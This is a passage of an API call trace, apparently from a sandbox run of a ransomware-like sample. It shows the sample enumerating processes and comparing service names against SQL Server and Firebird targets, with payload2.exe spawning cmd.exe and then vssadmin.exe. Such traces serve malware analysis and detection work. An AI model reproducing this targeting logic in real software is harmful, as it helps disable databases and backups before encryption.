th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0057.488] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0057.488] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.489] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.489] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0057.489] lstrlenW (lpString="payload2.exe") returned 12 [0057.489] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.490] lstrlenW (lpString="cmd.exe") returned 7 [0057.490] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.491] lstrlenW (lpString="conhost.exe") returned 11 [0057.491] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.491] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.491] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.492] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.492] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.493] lstrlenW (lpString="svchost.exe") returned 11 [0057.493] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.493] CloseHandle (hObject=0x234) returned 1 [0057.493] Sleep (dwMilliseconds=0x1f4) [0058.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fee8 [0058.178] EnumServicesStatusExW (in: hSCManager=0x29fee8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0058.178] GetLastError () returned 0xea [0058.178] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x47f0050 [0058.178] EnumServicesStatusExW (in: hSCManager=0x29fee8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x47f0050, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x47f0050, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0058.181] CloseServiceHandle (hSCObject=0x29fee8) returned 1 [0058.182] lstrlenW (lpString="Appinfo") returned 7 [0058.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.182] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.182] lstrlenW (lpString="AudioSrv") returned 8 [0058.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.182] lstrlenW (lpString="BFE") returned 3 [0058.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.182] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.182] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.182] lstrlenW (lpString="CryptSvc") returned 8 [0058.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.183] lstrlenW (lpString="CscService") returned 10 [0058.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.183] lstrlenW (lpString="DcomLaunch") returned 10 [0058.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.183] lstrlenW (lpString="Dhcp") returned 4 [0058.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.184] lstrlenW (lpString="Dnscache") returned 8 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.184] lstrlenW (lpString="DPS") returned 3 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.184] lstrlenW (lpString="eventlog") returned 8 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.184] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.184] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.184] lstrlenW (lpString="EventSystem") returned 11 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.184] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.184] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.184] lstrlenW (lpString="gpsvc") returned 5 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.184] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.184] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.184] lstrlenW (lpString="iphlpsvc") returned 8 [0058.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.185] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.185] lstrlenW (lpString="LanmanServer") returned 12 [0058.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.185] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.185] lstrlenW (lpString="lmhosts") returned 7 [0058.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.185] lstrlenW (lpString="MMCSS") returned 5 [0058.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.185] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.185] lstrlenW (lpString="MpsSvc") returned 6 [0058.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.185] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.186] lstrlenW (lpString="Netman") returned 6 [0058.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.186] lstrlenW (lpString="netprofm") returned 8 [0058.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.186] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.186] lstrlenW (lpString="NlaSvc") returned 6 [0058.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.186] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.186] lstrlenW (lpString="nsi") returned 3 [0058.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.186] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.186] lstrlenW (lpString="PcaSvc") returned 6 [0058.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.186] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.186] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.187] lstrlenW (lpString="PlugPlay") returned 8 [0058.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.187] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.187] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.187] lstrlenW (lpString="Power") returned 5 [0058.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.187] lstrlenW (lpString="ProfSvc") returned 7 [0058.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.187] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.187] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.187] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.187] lstrlenW (lpString="RpcSs") returned 5 [0058.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.187] lstrlenW (lpString="SamSs") returned 5 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.188] lstrlenW (lpString="Schedule") returned 8 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.188] lstrlenW (lpString="SENS") returned 4 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.188] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.188] lstrlenW (lpString="Spooler") returned 7 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.188] lstrlenW (lpString="swprv") returned 5 [0058.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.189] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.189] lstrlenW (lpString="SysMain") returned 7 [0058.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.189] lstrlenW (lpString="Themes") returned 6 [0058.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.189] lstrlenW (lpString="TrkWks") returned 6 [0058.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.189] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.189] lstrlenW (lpString="UxSms") returned 5 [0058.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.189] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.189] lstrlenW (lpString="VSS") returned 3 [0058.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.189] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.190] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.190] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.190] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.190] lstrlenW (lpString="Winmgmt") returned 7 [0058.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.190] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.191] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x47f0050 | out: hHeap=0x220000) returned 1 [0058.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0058.193] Process32FirstW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.194] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.194] lstrlenW (lpString="System") returned 6 [0058.194] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.194] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned 